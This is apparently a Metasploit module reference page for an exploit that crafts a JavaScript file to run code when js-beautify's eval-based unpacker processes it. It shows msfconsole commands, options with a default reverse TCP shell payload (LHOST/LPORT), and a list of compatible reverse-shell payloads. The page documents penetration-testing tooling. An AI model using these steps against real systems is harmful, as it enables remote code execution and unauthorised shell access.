Javascript Injection for Eval-based Unpackers - Metasploit
This page contains detailed information about how to use the exploit/multi/fileformat/js_unpacker_eval_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Javascript Injection for Eval-based Unpackers
Module: exploit/multi/fileformat/js_unpacker_eval_injection
Source code: modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb
Disclosure date: 2015-02-18
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): nodejs
Supported platform(s): NodeJS
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module generates a Javascript file that executes arbitrary code when an eval-based unpacker is run on it. Works against js-beautify's P_A_C_K_E_R unpacker.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/fileformat/js_unpacker_eval_injection
msf exploit(js_unpacker_eval_injection) > show targets
... a list of targets ...
msf exploit(js_unpacker_eval_injection) > set TARGET target-id
msf exploit(js_unpacker_eval_injection) > show options
... show and set options ...
msf exploit(js_unpacker_eval_injection) > exploit
Go back to menu.
Msfconsole Usage
Here is how the multi/fileformat/js_unpacker_eval_injection exploit module looks in the msfconsole:
msf6 > use exploit/multi/fileformat/js_unpacker_eval_injection
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show info
Name: Javascript Injection for Eval-based Unpackers
Module: exploit/multi/fileformat/js_unpacker_eval_injection
Platform: NodeJS
Arch: nodejs
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-02-18
Provided by:
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_JS no Custom Javascript payload.
FILENAME msf.js yes The file name.
Payload information:
Description:
This module generates a Javascript file that executes arbitrary code
when an eval-based unpacker is run on it. Works against
js-beautify's P_A_C_K_E_R unpacker.
Module Options
This is a complete list of options available in the multi/fileformat/js_unpacker_eval_injection exploit:
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show options
Module options (exploit/multi/fileformat/js_unpacker_eval_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_JS no Custom Javascript payload.
FILENAME msf.js yes The file name.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/fileformat/js_unpacker_eval_injection exploit:
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show advanced
Module advanced options (exploit/multi/fileformat/js_unpacker_eval_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/fileformat/js_unpacker_eval_injection module can exploit:
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/js_unpacker_eval_injection exploit:
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/nodejs/shell_bind_tcp normal No Command Shell, Bind TCP (via nodejs)
6 payload/nodejs/shell_reverse_tcp normal No Command Shell, Reverse TCP (via nodejs)
7 payload/nodejs/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via nodejs)
Evasion Options
Here is the full list of possible evasion options supported by the multi/fileformat/js_unpacker_eval_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4790 Merged Pull Request: Add file format exploit for injecting code into eval-based Javascript unpackers
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/multi/fileformat/adobe_u3d_meshcont
- exploit/multi/fileformat/archive_tar_arb_file_write
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/fileformat/libreoffice_logo_exec
- exploit/multi/fileformat/libreoffice_macro_exec
- exploit/multi/fileformat/maple_maplet
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/fileformat/office_word_macro
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/fileformat/zip_slip
- exploit/android/fileformat/adobe_reader_pdf_js_interface
- exploit/linux/http/apache_druid_js_rce
- exploit/multi/browser/chrome_jscreate_sideeffect
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/bassmaster_js_injection
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/sun_jsws_dav_options
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/multi/http/totaljs_cms_widget_exec
- exploit/multi/misc/nodejs_v8_debugger
- exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
- exploit/windows/fileformat/djstudio_pls_bof
- exploit/windows/fileformat/nitro_reader_jsapi
- exploit/windows/fileformat/word_msdtjs_rce
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/bea_weblogic_jsessionid
- exploit/windows/smtp/njstar_smtp_bof
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.